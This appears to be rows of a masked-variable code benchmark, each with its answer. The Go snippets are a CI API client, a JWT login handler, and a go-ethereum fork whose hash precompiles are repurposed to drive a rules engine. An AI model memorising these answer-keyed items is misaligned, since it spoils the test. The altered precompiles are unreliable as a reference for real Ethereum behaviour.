out := new(model.Build) val := parseToQueryParams(params) val.Set(""fork"", ""true"") uri := fmt.Sprintf(pathBuild, c.base, owner, name, num) err := c.post(uri+""?""+val.Encode(), nil, out) return out, err } // BuildApprove approves a blocked build. func (c *client) BuildApprove(owner, name string, num int) (*model.Build, error) { out := new(model.Build) uri := fmt.Sprintf(pathApprove, c.base, owner, name, num) err := c.post(uri, nil, out) return out, err } // BuildDecline declines a blocked build. func (c *client) BuildDecline(owner, name string, num int) (*model.Build, error) { out := new(model.Build) uri := fmt.Sprintf(pathDecline, c.base, owner, name, num) err := c.post(uri, nil, out) return out, err } // BuildLogs returns the build logs for the specified job. func (c *client) BuildLogs(owner, name string, num, job int) (io.ReadCloser, error) { uri := fmt.Sprintf(pathLog, c.base, owner, name, num, job) return stream(c.client, uri, ""GET"", nil, nil) } // Deploy triggers a deployment for an existing build using the // specified target environment. func (c *client) Deploy(owner, name string, num int, env string, params map[string]string) (*model.Build, error) { out := new(model.Build) val := parseToQueryParams(params) val.Set(""fork"", ""true"") val.Set(""event"", ""deployment"") val.Set(""deploy_to"", env) uri := fmt.Sprintf(pathBuild, c.base, owner, name, num) err := c.post(uri+""?""+val.Encode(), nil, out) return out, err } // SecretList returns a list of a repository secrets. func (c *client) SecretList(owner, name string) ([]*model.Secret, error) { var out []*model.Secret uri := fmt.Sprintf(pathRepoSecrets, c.base, owner, name) err := c.get(uri, &out) return out, err } // SecretPost create or updates a repository secret. func (c *client) SecretPost(owner, name string, secret *model.Secret) error { uri := fmt.Sprintf(pathRepoSecrets, c.base, owner, name) return c.post(uri, secret, nil) } // SecretDel deletes a named repository secret. func (c *client) SecretDel(owner, name, secret string) error { uri := fmt.Sprintf(pathRepoSecret, c.base, owner, name, secret) return c.delete(uri) } // TeamSecretList returns a list of organizational secrets. func (c *client) TeamSecretList(team string) ([]*model.Secret, error) { var out []*model.Secret uri := fmt.Sprintf(pathTeamSecrets, c.base, team) err := c.get(uri, &out) return out, err } // TeamSecretPost create or updates a organizational secret. func (c *client) TeamSecretPost(team string, secret *model.Secret) error { uri := fmt.Sprintf(pathTeamSecrets, c.base, team) return c.post(uri, secret, nil) } // TeamSecretDel deletes a named orgainization secret. func (c *client) TeamSecretDel(team, secret string) error { uri := fmt.Sprintf(pathTeamSecret, c.base, team, secret) return c.delete(uri) } // GlobalSecretList returns a list of global secrets. func (c *client) GlobalSecretList() ([]*model.Secret, error) { var out []*model.Secret uri := fmt.Sprintf(pathGlobalSecrets, c.base) err := c.get(uri, &out) return out, err } // GlobalSecretPost create or updates a global secret. func (c *client) GlobalSecretPost(secret *model.Secret) error { uri := fmt.Sprintf(pathGlobalSecrets, c.base) return c.post(uri, secret, nil) } // GlobalSecretDel deletes a named global secret. func (c *client) GlobalSecretDel(secret string) error { uri := fmt.Sprintf(pathGlobalSecret, c.base, secret) return c.delete(uri) } // Sign returns a cryptographic signature for the input string. func (c *client) Sign(owner, name string, in []byte) ([]byte, error) { uri := fmt.Sprintf(pathSign, c.base, owner, name) rc, err := stream(c.client, uri, ""POST"", in, nil) if err != nil { return nil, err } defer rc.Close() return ioutil.ReadAll(rc) } // AgentList returns a list of build agents. func (c *client) AgentList() ([]*model.Agent, error) { var out []*model.Agent uri := fmt.Sprintf(pathAgent, c.base) err := c.get(uri, &out) return out, err } // // http request helper functions // // helper function for making an http GET request. func (c *client) get(rawurl string, out interface{}) error { return c.do(rawurl, ""GET"", nil, out) } // helper function for making an http POST request. func (c *client) post(rawurl string, in, out interface{}) error { return c.do(rawurl, ""POST"", in, out) } // helper function for making an http PUT request. func (c *client) put(rawurl string, in, out interface{}) error { return c.do(rawurl, ""PUT"", in, out) } // helper function for making an http PATCH request. func (c *client) patch(rawurl string, in, out interface{}) error { return c.do(rawurl, ""PATCH"", in, out) } // helper function for making an http DELETE request. func (c *client) delete(rawurl string) error { return c.do(rawurl, ""DELETE"", nil, nil) } // helper function to make an http request func (c *client) do(rawurl, method string, in, out interface{}) error { // executes the http request and returns the body as // and io.ReadCloser body, err := c.open(rawurl, method, in, out) if err != nil { return err } defer body.Close() // if a json response is expected, parse and return // the json response. if out != nil { return json.NewDecoder(body).Decode(out) } return nil } // helper function to open an http request func (c *client) open(rawurl, method string, in, out interface{}) (io.ReadCloser, error) { uri, err := url.Parse(rawurl) if err != nil { return nil, err } // creates a new http request to bitbucket. req, err := http.NewRequest(method, uri.String(), nil) if err != nil { return nil, err } // if we are posting or putting data, we need to // write it to the body of the request. if in != nil { rc, ok := in.(io.ReadCloser) if ok { req.Body = rc req.Header.Set(""Content-Type"", ""plain/text"") } else { inJson, err := json.Marshal(in) if err != nil { return nil, err } buf := bytes.NewBuffer(inJson) req.Body = ioutil.NopCloser(buf) req.ContentLength = int64(len(inJson)) req.Header.Set(""Content-Length"", strconv.Itoa(len(inJson))) req.Header.Set(""Content-Type"", ""application/json"") } } resp, err := c.client.Do(req) if err != nil { return nil, err } if resp.StatusCode > http.StatusPartialContent { defer resp.Body.Close() out, _ := ioutil.ReadAll(resp.Body) return nil, fmt.Errorf(""client error %d: %s"", resp.StatusCode, string(out)) } return resp.Body, nil } // createRequest is a helper function that builds an http.Request. func (c *client) createRequest(rawurl, method string, in interface{}) (*http.Request, error) { uri, err := url.Parse(rawurl) if err != nil { return nil, err } // if we are posting or putting data, we need to // write it to the body of the request. var buf io.ReadWriter if in != nil { buf = new(bytes.Buffer) err := json.NewEncoder(buf).Encode(in) if err != nil { return nil, err } } // creates a new http request to bitbucket. req, err := http.NewRequest(method, uri.String(), buf) if err != nil { return nil, err } if in != nil { req.Header.Set(""Content-Type"", ""application/json"") } return req, nil } // parseToQueryParams parses a map of strings and returns url.Values func parseToQueryParams(p map[string]string) url.Values { [MASK] := url.Values{} for k, v := range p { [MASK] .Add(k, v) } return [MASK] } ",values 41,"/* * @Author: * @Date: 2021-03-10 17:02:24 * @LastEditTime: 2021-03-10 17:45:17 * @LastEditors: Please set LastEditors * @Description: 系统接口 * @FilePath: \readygo\api\system.go */ package api import ( ""context"" ""readygo/apistruct"" ""readygo/permission/permutil"" ""github.com/cloudwego/hertz/pkg/app"" ) // Login 登录方法 // @Summary 接口概要说明 // @Description 接口详细描述信息 // @Tags 登陆 // @Param id path int true ""ID"" // @Param name query string false ""name"" // @Success 200 {string} string ""ok"" // @Router /test/{id} [get] //路由信息,一定要写上 func Login(ctx context.Context, c *app.RequestContext) { token, [MASK] := permutil.JWECreateToken("""", nil) if [MASK] == nil { c.JSON(200, apistruct.ResponseBodyModel{ Status: 200, Message: """", Data: token, }) } else { c.JSON(500, apistruct.ResponseBodyModel{ Status: 500, Message: [MASK] .Error(), Data: """", }) } } ",err 42,"// Copyright 2014 The go-ethereum Authors // This file is part of the go-ethereum library. // // The go-ethereum library is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // The go-ethereum library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with the go-ethereum library. If not, see . package vm import ( //""crypto/sha256"" ""encoding/binary"" ""errors"" ""math/big"" ""strconv"" ""time"" ""github.com/ethereum/go-ethereum/common"" ""github.com/ethereum/go-ethereum/common/math"" ""github.com/ethereum/go-ethereum/crypto"" ""github.com/ethereum/go-ethereum/crypto/blake2b"" ""github.com/ethereum/go-ethereum/crypto/bls12381"" ""github.com/ethereum/go-ethereum/crypto/bn256"" ""github.com/ethereum/go-ethereum/params"" ""context"" ""fmt"" ""strings"" fcommon ""github.com/project-flogo/rules/common"" ""github.com/project-flogo/rules/common/model"" ""github.com/project-flogo/rules/ruleapi"" ) // PrecompiledContract is the basic interface for native Go contracts. The implementation // requires a deterministic gas count based on the input size of the Run method of the // contract. type PrecompiledContract interface { RequiredGas(input []byte) uint64 // RequiredPrice calculates the contract gas use Run(caller ContractRef, input []byte) ([]byte, error) // Run runs the precompiled contract } // PrecompiledContractsHomestead contains the default set of pre-compiled Ethereum // contracts used in the Frontier and Homestead releases. var PrecompiledContractsHomestead = map[common.Address]PrecompiledContract{ common.BytesToAddress([]byte{1}): &ecrecover{}, common.BytesToAddress([]byte{2}): &sha256hash{}, common.BytesToAddress([]byte{3}): &ripemd160hash{}, common.BytesToAddress([]byte{4}): &dataCopy{}, } // PrecompiledContractsByzantium contains the default set of pre-compiled Ethereum // contracts used in the Byzantium release. var PrecompiledContractsByzantium = map[common.Address]PrecompiledContract{ common.BytesToAddress([]byte{1}): &ecrecover{}, common.BytesToAddress([]byte{2}): &sha256hash{}, common.BytesToAddress([]byte{3}): &ripemd160hash{}, common.BytesToAddress([]byte{4}): &dataCopy{}, common.BytesToAddress([]byte{5}): &bigModExp{eip2565: false}, common.BytesToAddress([]byte{6}): &bn256AddByzantium{}, common.BytesToAddress([]byte{7}): &bn256ScalarMulByzantium{}, common.BytesToAddress([]byte{8}): &bn256PairingByzantium{}, } // PrecompiledContractsIstanbul contains the default set of pre-compiled Ethereum // contracts used in the Istanbul release. var PrecompiledContractsIstanbul = map[common.Address]PrecompiledContract{ common.BytesToAddress([]byte{1}): &ecrecover{}, common.BytesToAddress([]byte{2}): &sha256hash{}, common.BytesToAddress([]byte{3}): &ripemd160hash{}, common.BytesToAddress([]byte{4}): &dataCopy{}, common.BytesToAddress([]byte{5}): &bigModExp{eip2565: false}, common.BytesToAddress([]byte{6}): &bn256AddIstanbul{}, common.BytesToAddress([]byte{7}): &bn256ScalarMulIstanbul{}, common.BytesToAddress([]byte{8}): &bn256PairingIstanbul{}, common.BytesToAddress([]byte{9}): &blake2F{}, } // PrecompiledContractsYoloV2 contains the default set of pre-compiled Ethereum // contracts used in the Yolo v2 test release. var PrecompiledContractsYoloV2 = map[common.Address]PrecompiledContract{ common.BytesToAddress([]byte{1}): &ecrecover{}, common.BytesToAddress([]byte{2}): &sha256hash{}, common.BytesToAddress([]byte{3}): &ripemd160hash{}, common.BytesToAddress([]byte{4}): &dataCopy{}, common.BytesToAddress([]byte{5}): &bigModExp{eip2565: false}, common.BytesToAddress([]byte{6}): &bn256AddIstanbul{}, common.BytesToAddress([]byte{7}): &bn256ScalarMulIstanbul{}, common.BytesToAddress([]byte{8}): &bn256PairingIstanbul{}, common.BytesToAddress([]byte{9}): &blake2F{}, common.BytesToAddress([]byte{10}): &bls12381G1Add{}, common.BytesToAddress([]byte{11}): &bls12381G1Mul{}, common.BytesToAddress([]byte{12}): &bls12381G1MultiExp{}, common.BytesToAddress([]byte{13}): &bls12381G2Add{}, common.BytesToAddress([]byte{14}): &bls12381G2Mul{}, common.BytesToAddress([]byte{15}): &bls12381G2MultiExp{}, common.BytesToAddress([]byte{16}): &bls12381Pairing{}, common.BytesToAddress([]byte{17}): &bls12381MapG1{}, common.BytesToAddress([]byte{18}): &bls12381MapG2{}, } var ( PrecompiledAddressesYoloV2 []common.Address PrecompiledAddressesIstanbul []common.Address PrecompiledAddressesByzantium []common.Address PrecompiledAddressesHomestead []common.Address ) var REcontroller common.Address //var tag = 0 var startTime time.Time var elapsed time.Duration /* var elapsed2 time.Duration var elapsed3 time.Duration var counter int var trigger int */ type conditionCreator func([]string) model.ConditionEvaluator type actionCreator func([]string) model.ActionFunction var rs model.RuleSession var resultMap = make(map[string]string) var ruleMap = make(map[string]model.MutableRule) var tupleMap = make(map[string]model.MutableTuple) var retractQueue []string var resultcache = make(map[string]string) var synccache = make(map[string]string) var conditionmap = map[string]conditionCreator{ ""checkBalance"": checkBalance, ""checkID"": checkID, ""testconfunc"": testconfunc, ""test2confunc"": test2confunc, ""Comparator"": Comparator, ""Equals"": Equals, } var actionmap = map[string]actionCreator{ ""exchange"": exchange, ""testactfunc"": testactfunc, ""test4actfunc"": test4actfunc, ""Airdrop"": Airdrop, } func init() { for k := range PrecompiledContractsHomestead { PrecompiledAddressesHomestead = append(PrecompiledAddressesHomestead, k) } for k := range PrecompiledContractsByzantium { PrecompiledAddressesHomestead = append(PrecompiledAddressesByzantium, k) } for k := range PrecompiledContractsIstanbul { PrecompiledAddressesIstanbul = append(PrecompiledAddressesIstanbul, k) } for k := range PrecompiledContractsYoloV2 { PrecompiledAddressesYoloV2 = append(PrecompiledAddressesYoloV2, k) } } // RunPrecompiledContract runs and evaluates the output of a precompiled contract. // It returns // - the returned bytes, // - the _remaining_ gas, // - any error that occurred func RunPrecompiledContract(caller ContractRef, p PrecompiledContract, input []byte, suppliedGas uint64) (ret []byte, remainingGas uint64, err error) { gasCost := p.RequiredGas(input) if suppliedGas < gasCost { return nil, 0, ErrOutOfGas } suppliedGas -= gasCost output, err := p.Run(caller, input) return output, suppliedGas, err } // ECRECOVER implemented as a native contract. type ecrecover struct{} func (c *ecrecover) RequiredGas(input []byte) uint64 { return params.EcrecoverGas } func (c *ecrecover) Run(caller ContractRef, input []byte) ([]byte, error) { const ecRecoverInputLength = 128 input = common.RightPadBytes(input, ecRecoverInputLength) // ""input"" is (hash, v, r, s), each 32 bytes // but for ecrecover we want (r, s, v) r := new(big.Int).SetBytes(input[64:96]) s := new(big.Int).SetBytes(input[96:128]) v := input[63] - 27 // tighter sig s values input homestead only apply to tx sigs if !allZero(input[32:63]) || !crypto.ValidateSignatureValues(v, r, s, false) { return nil, nil } // We must make sure not to modify the 'input', so placing the 'v' along with // the signature needs to be done on a new allocation sig := make([]byte, 65) copy(sig, input[64:128]) sig[64] = v // v needs to be at the end for libsecp256k1 pubKey, err := crypto.Ecrecover(input[:32], sig) // make sure the public key is a valid one if err != nil { return nil, nil } // the first byte of pubkey is bitcoin heritage return common.LeftPadBytes(crypto.Keccak256(pubKey[1:])[12:], 32), nil } // SHA256 implemented as a native contract. type sha256hash struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. // // This method does not require any overflow checking as the input size gas costs // required for anything significant is so high it's impossible to pay for. func (c *sha256hash) RequiredGas(input []byte) uint64 { //return uint64(len(input)+31)/32*params.Sha256PerWordGas + params.Sha256BaseGas return uint64(1000) } func (c *sha256hash) Run(caller ContractRef, input []byte) ([]byte, error) { //h := sha256.Sum256(input) h := []byte(""Error"") if len(input) == 0 { return h[:], nil } strs := strings.Split(string(input), ""$"") synccache = nil //fmt.Println(""Synccache Refreshed"") if input[0] == '1' { //test_Init() tupleDescriptorInit(strs[1]) h = []byte(""TupleDescriptor Initialized"") } else if input[0] == '2' { success := ruleInit(strs[1:]) if success { h = []byte(""Rule Initialized"") } } else if input[0] == '3' { sessionStart() h = []byte(""Session Started"") } else if input[0] == '4' { if resultcache[strs[1]] != """" { println(""~~~~~~~~~~~~~~~~~~~~~Re-assert same tuple : "" + strs[1] + "" , use cache~~~~~~~~~~~~~~~~~~~~~"") h = []byte(resultcache[strs[1]]) return h[:], nil } println(""New distinct tuple : "" + strs[1]) success := tupleAssert(strs[2:]) if !success { h = []byte(""error:error"") return h[:], nil } result := """" for key, value := range resultMap { result = result + key + "":"" + value + ""&"" } if len(result) > 1 { result = result[:len(result)-1] fmt.Println(result) } result = result + ""$"" result = scanRetractedTuples(result) resultcache[strs[1]] = result resultMap = make(map[string]string) fmt.Println(result) h = []byte(result) } else if input[0] == '5' { tupleRetract(strs[1]) h = []byte(""Tuple Retracted"") } else if input[0] == '6' { ruleDetele(strs[1]) h = []byte(""Rule Deleted"") } else if input[0] == '7' { sessionDischarge() h = []byte(""Session Discharged"") } else if input[0] == '8' { //synccache = nil if synccache[strs[1]] != """" { println(""~~~~~~~~~~~~~~~~~~~~~Re-assert same tuple : "" + strs[1] + "" , use cache~~~~~~~~~~~~~~~~~~~~~"") h = []byte(synccache[strs[1]]) return h[:], nil } println(""Syncing tuple : "" + strs[1]) success := tupleAssert(strs[2:]) if !success { h = []byte(""error:error"") return h[:], nil } result := """" for key, value := range resultMap { result = result + key + "":"" + value + ""&"" } if len(result) > 1 { result = result[:len(result)-1] fmt.Println(result) } result = result + ""$"" result = scanRetractedTuples(result) synccache[strs[1]] = result resultMap = make(map[string]string) fmt.Println(result) h = []byte(result) } else if input[0] == '9' { retractTuples() } //h := []byte{'t', 'e', 's', 't'} //h := []byte(""This is a string"") return h[:], nil } // RIPEMD160 implemented as a native contract. type ripemd160hash struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. // // This method does not require any overflow checking as the input size gas costs // required for anything significant is so high it's impossible to pay for. func (c *ripemd160hash) RequiredGas(input []byte) uint64 { //return uint64(len(input)+31)/32*params.Ripemd160PerWordGas + params.Ripemd160BaseGas return uint64(1) } func (c *ripemd160hash) Run(caller ContractRef, input []byte) ([]byte, error) { /* ripemd := ripemd160.New() ripemd.Write(input) return common.LeftPadBytes(ripemd.Sum(nil), 32), nil */ //startTime = time.Now() REcontroller = caller.Address() fmt.Println(REcontroller) return []byte(""""), nil } // data copy implemented as a native contract. type dataCopy struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. // // This method does not require any overflow checking as the input size gas costs // required for anything significant is so high it's impossible to pay for. func (c *dataCopy) RequiredGas(input []byte) uint64 { //return uint64(len(input)+31)/32*params.IdentityPerWordGas + params.IdentityBaseGas return uint64(1) } func (c *dataCopy) Run(caller ContractRef, in []byte) ([]byte, error) { //return in, nil //elapsed = time.Since(startTime) //fmt.Printf(""End Timing, elapsed: %s \n"", elapsed) return []byte(""""), nil } // bigModExp implements a native big integer exponential modular operation. type bigModExp struct { eip2565 bool } var ( big0 = big.NewInt(0) big1 = big.NewInt(1) big3 = big.NewInt(3) big4 = big.NewInt(4) big7 = big.NewInt(7) big8 = big.NewInt(8) big16 = big.NewInt(16) big20 = big.NewInt(20) big32 = big.NewInt(32) big64 = big.NewInt(64) big96 = big.NewInt(96) big480 = big.NewInt(480) big1024 = big.NewInt(1024) big3072 = big.NewInt(3072) big199680 = big.NewInt(199680) ) // modexpMultComplexity implements bigModexp multComplexity formula, as defined in EIP-198 // // def mult_complexity(x): // // if x <= 64: return x ** 2 // elif x <= 1024: return x ** 2 // 4 + 96 * x - 3072 // else: return x ** 2 // 16 + 480 * x - 199680 // // where is x is max(length_of_MODULUS, length_of_BASE) func modexpMultComplexity(x *big.Int) *big.Int { switch { case x.Cmp(big64) <= 0: x.Mul(x, x) // x ** 2 case x.Cmp(big1024) <= 0: // (x ** 2 // 4 ) + ( 96 * x - 3072) x = new(big.Int).Add( new(big.Int).Div(new(big.Int).Mul(x, x), big4), new(big.Int).Sub(new(big.Int).Mul(big96, x), big3072), ) default: // (x ** 2 // 16) + (480 * x - 199680) x = new(big.Int).Add( new(big.Int).Div(new(big.Int).Mul(x, x), big16), new(big.Int).Sub(new(big.Int).Mul(big480, x), big199680), ) } return x } // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bigModExp) RequiredGas(input []byte) uint64 { var ( baseLen = new(big.Int).SetBytes(getData(input, 0, 32)) expLen = new(big.Int).SetBytes(getData(input, 32, 32)) modLen = new(big.Int).SetBytes(getData(input, 64, 32)) ) if len(input) > 96 { input = input[96:] } else { input = input[:0] } // Retrieve the head 32 bytes of exp for the adjusted exponent length var expHead *big.Int if big.NewInt(int64(len(input))).Cmp(baseLen) <= 0 { expHead = new(big.Int) } else { if expLen.Cmp(big32) > 0 { expHead = new(big.Int).SetBytes(getData(input, baseLen.Uint64(), 32)) } else { expHead = new(big.Int).SetBytes(getData(input, baseLen.Uint64(), expLen.Uint64())) } } // Calculate the adjusted exponent length var [MASK] int if bitlen := expHead.BitLen(); bitlen > 0 { [MASK] = bitlen - 1 } adjExpLen := new(big.Int) if expLen.Cmp(big32) > 0 { adjExpLen.Sub(expLen, big32) adjExpLen.Mul(big8, adjExpLen) } adjExpLen.Add(adjExpLen, big.NewInt(int64( [MASK] ))) // Calculate the gas cost of the operation gas := new(big.Int).Set(math.BigMax(modLen, baseLen)) if c.eip2565 { // EIP-2565 has three changes // 1. Different multComplexity (inlined here) // in EIP-2565 (https://eips.ethereum.org/EIPS/eip-2565): // // def mult_complexity(x): // ceiling(x/8)^2 // //where is x is max(length_of_MODULUS, length_of_BASE) gas = gas.Add(gas, big7) gas = gas.Div(gas, big8) gas.Mul(gas, gas) gas.Mul(gas, math.BigMax(adjExpLen, big1)) // 2. Different divisor (`GQUADDIVISOR`) (3) gas.Div(gas, big3) if gas.BitLen() > 64 { return math.MaxUint64 } // 3. Minimum price of 200 gas if gas.Uint64() < 200 { return 200 } return gas.Uint64() } gas = modexpMultComplexity(gas) gas.Mul(gas, math.BigMax(adjExpLen, big1)) gas.Div(gas, big20) if gas.BitLen() > 64 { return math.MaxUint64 } return gas.Uint64() } func (c *bigModExp) Run(caller ContractRef, input []byte) ([]byte, error) { var ( baseLen = new(big.Int).SetBytes(getData(input, 0, 32)).Uint64() expLen = new(big.Int).SetBytes(getData(input, 32, 32)).Uint64() modLen = new(big.Int).SetBytes(getData(input, 64, 32)).Uint64() ) if len(input) > 96 { input = input[96:] } else { input = input[:0] } // Handle a special case when both the base and mod length is zero if baseLen == 0 && modLen == 0 { return []byte{}, nil } // Retrieve the operands and execute the exponentiation var ( base = new(big.Int).SetBytes(getData(input, 0, baseLen)) exp = new(big.Int).SetBytes(getData(input, baseLen, expLen)) mod = new(big.Int).SetBytes(getData(input, baseLen+expLen, modLen)) ) if mod.BitLen() == 0 { // Modulo 0 is undefined, return zero return common.LeftPadBytes([]byte{}, int(modLen)), nil } return common.LeftPadBytes(base.Exp(base, exp, mod).Bytes(), int(modLen)), nil } // newCurvePoint unmarshals a binary blob into a bn256 elliptic curve point, // returning it, or an error if the point is invalid. func newCurvePoint(blob []byte) (*bn256.G1, error) { p := new(bn256.G1) if _, err := p.Unmarshal(blob); err != nil { return nil, err } return p, nil } // newTwistPoint unmarshals a binary blob into a bn256 elliptic curve point, // returning it, or an error if the point is invalid. func newTwistPoint(blob []byte) (*bn256.G2, error) { p := new(bn256.G2) if _, err := p.Unmarshal(blob); err != nil { return nil, err } return p, nil } // runBn256Add implements the Bn256Add precompile, referenced by both // Byzantium and Istanbul operations. func runBn256Add(input []byte) ([]byte, error) { x, err := newCurvePoint(getData(input, 0, 64)) if err != nil { return nil, err } y, err := newCurvePoint(getData(input, 64, 64)) if err != nil { return nil, err } res := new(bn256.G1) res.Add(x, y) return res.Marshal(), nil } // bn256Add implements a native elliptic curve point addition conforming to // Istanbul consensus rules. type bn256AddIstanbul struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bn256AddIstanbul) RequiredGas(input []byte) uint64 { return params.Bn256AddGasIstanbul } func (c *bn256AddIstanbul) Run(caller ContractRef, input []byte) ([]byte, error) { return runBn256Add(input) } // bn256AddByzantium implements a native elliptic curve point addition // conforming to Byzantium consensus rules. type bn256AddByzantium struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bn256AddByzantium) RequiredGas(input []byte) uint64 { return params.Bn256AddGasByzantium } func (c *bn256AddByzantium) Run(caller ContractRef, input []byte) ([]byte, error) { return runBn256Add(input) } // runBn256ScalarMul implements the Bn256ScalarMul precompile, referenced by // both Byzantium and Istanbul operations. func runBn256ScalarMul(input []byte) ([]byte, error) { p, err := newCurvePoint(getData(input, 0, 64)) if err != nil { return nil, err } res := new(bn256.G1) res.ScalarMult(p, new(big.Int).SetBytes(getData(input, 64, 32))) return res.Marshal(), nil } // bn256ScalarMulIstanbul implements a native elliptic curve scalar // multiplication conforming to Istanbul consensus rules. type bn256ScalarMulIstanbul struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bn256ScalarMulIstanbul) RequiredGas(input []byte) uint64 { return params.Bn256ScalarMulGasIstanbul } func (c *bn256ScalarMulIstanbul) Run(caller ContractRef, input []byte) ([]byte, error) { return runBn256ScalarMul(input) } // bn256ScalarMulByzantium implements a native elliptic curve scalar // multiplication conforming to Byzantium consensus rules. type bn256ScalarMulByzantium struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bn256ScalarMulByzantium) RequiredGas(input []byte) uint64 { return params.Bn256ScalarMulGasByzantium } func (c *bn256ScalarMulByzantium) Run(caller ContractRef, input []byte) ([]byte, error) { return runBn256ScalarMul(input) } var ( // true32Byte is returned if the bn256 pairing check succeeds. true32Byte = []byte{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} // false32Byte is returned if the bn256 pairing check fails. false32Byte = make([]byte, 32) // errBadPairingInput is returned if the bn256 pairing input is invalid. errBadPairingInput = errors.New(""bad elliptic curve pairing size"") ) // runBn256Pairing implements the Bn256Pairing precompile, referenced by both // Byzantium and Istanbul operations. func runBn256Pairing(input []byte) ([]byte, error) { // Handle some corner cases cheaply if len(input)%192 > 0 { return nil, errBadPairingInput } // Convert the input into a set of coordinates var ( cs []*bn256.G1 ts []*bn256.G2 ) for i := 0; i < len(input); i += 192 { c, err := newCurvePoint(input[i : i+64]) if err != nil { return nil, err } t, err := newTwistPoint(input[i+64 : i+192]) if err != nil { return nil, err } cs = append(cs, c) ts = append(ts, t) } // Execute the pairing checks and return the results if bn256.PairingCheck(cs, ts) { return true32Byte, nil } return false32Byte, nil } // bn256PairingIstanbul implements a pairing pre-compile for the bn256 curve // conforming to Istanbul consensus rules. type bn256PairingIstanbul struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bn256PairingIstanbul) RequiredGas(input []byte) uint64 { return params.Bn256PairingBaseGasIstanbul + uint64(len(input)/192)*params.Bn256PairingPerPointGasIstanbul } func (c *bn256PairingIstanbul) Run(caller ContractRef, input []byte) ([]byte, error) { return runBn256Pairing(input) } // bn256PairingByzantium implements a pairing pre-compile for the bn256 curve // conforming to Byzantium consensus rules. type bn256PairingByzantium struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bn256PairingByzantium) RequiredGas(input []byte) uint64 { return params.Bn256PairingBaseGasByzantium + uint64(len(input)/192)*params.Bn256PairingPerPointGasByzantium } func (c *bn256PairingByzantium) Run(caller ContractRef, input []byte) ([]byte, error) { return runBn256Pairing(input) } type blake2F struct{} func (c *blake2F) RequiredGas(input []byte) uint64 { // If the input is malformed, we can't calculate the gas, return 0 and let the // actual call choke and fault. if len(input) != blake2FInputLength { return 0 } return uint64(binary.BigEndian.Uint32(input[0:4])) } const ( blake2FInputLength = 213 blake2FFinalBlockBytes = byte(1) blake2FNonFinalBlockBytes = byte(0) ) var ( errBlake2FInvalidInputLength = errors.New(""invalid input length"") errBlake2FInvalidFinalFlag = errors.New(""invalid final flag"") ) func (c *blake2F) Run(caller ContractRef, input []byte) ([]byte, error) { // Make sure the input is valid (correct length and final flag) if len(input) != blake2FInputLength { return nil, errBlake2FInvalidInputLength } if input[212] != blake2FNonFinalBlockBytes && input[212] != blake2FFinalBlockBytes { return nil, errBlake2FInvalidFinalFlag } // Parse the input into the Blake2b call parameters var ( rounds = binary.BigEndian.Uint32(input[0:4]) final = (input[212] == blake2FFinalBlockBytes) h [8]uint64 m [16]uint64 t [2]uint64 ) for i := 0; i < 8; i++ { offset := 4 + i*8 h[i] = binary.LittleEndian.Uint64(input[offset : offset+8]) } for i := 0; i < 16; i++ { offset := 68 + i*8 m[i] = binary.LittleEndian.Uint64(input[offset : offset+8]) } t[0] = binary.LittleEndian.Uint64(input[196:204]) t[1] = binary.LittleEndian.Uint64(input[204:212]) // Execute the compression function, extract and return the result blake2b.F(&h, m, t, final, rounds) output := make([]byte, 64) for i := 0; i < 8; i++ { offset := i * 8 binary.LittleEndian.PutUint64(output[offset:offset+8], h[i]) } return output, nil } var ( errBLS12381InvalidInputLength = errors.New(""invalid input length"") errBLS12381InvalidFieldElementTopBytes = errors.New(""invalid field element top bytes"") errBLS12381G1PointSubgroup = errors.New(""g1 point is not on correct subgroup"") errBLS12381G2PointSubgroup = errors.New(""g2 point is not on correct subgroup"") ) // bls12381G1Add implements EIP-2537 G1Add precompile. type bls12381G1Add struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bls12381G1Add) RequiredGas(input []byte) uint64 { return params.Bls12381G1AddGas } func (c *bls12381G1Add) Run(caller ContractRef, input []byte) ([]byte, error) { // Implements EIP-2537 G1Add precompile. // > G1 addition call expects `256` bytes as an input that is interpreted as byte concatenation of two G1 points (`128` bytes each). // > Output is an encoding of addition operation result - single G1 point (`128` bytes). if len(input) != 256 { return nil, errBLS12381InvalidInputLength } var err error var p0, p1 *bls12381.PointG1 // Initialize G1 g := bls12381.NewG1() // Decode G1 point p_0 if p0, err = g.DecodePoint(input[:128]); err != nil { return nil, err } // Decode G1 point p_1 if p1, err = g.DecodePoint(input[128:]); err != nil { return nil, err } // Compute r = p_0 + p_1 r := g.New() g.Add(r, p0, p1) // Encode the G1 point result into 128 bytes return g.EncodePoint(r), nil } // bls12381G1Mul implements EIP-2537 G1Mul precompile. type bls12381G1Mul struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bls12381G1Mul) RequiredGas(input []byte) uint64 { return params.Bls12381G1MulGas } func (c *bls12381G1Mul) Run(caller ContractRef, input []byte) ([]byte, error) { // Implements EIP-2537 G1Mul precompile. // > G1 multiplication call expects `160` bytes as an input that is interpreted as byte concatenation of encoding of G1 point (`128` bytes) and encoding of a scalar value (`32` bytes). // > Output is an encoding of multiplication operation result - single G1 point (`128` bytes). if len(input) != 160 { return nil, errBLS12381InvalidInputLength } var err error var p0 *bls12381.PointG1 // Initialize G1 g := bls12381.NewG1() // Decode G1 point if p0, err = g.DecodePoint(input[:128]); err != nil { return nil, err } // Decode scalar value e := new(big.Int).SetBytes(input[128:]) // Compute r = e * p_0 r := g.New() g.MulScalar(r, p0, e) // Encode the G1 point into 128 bytes return g.EncodePoint(r), nil } 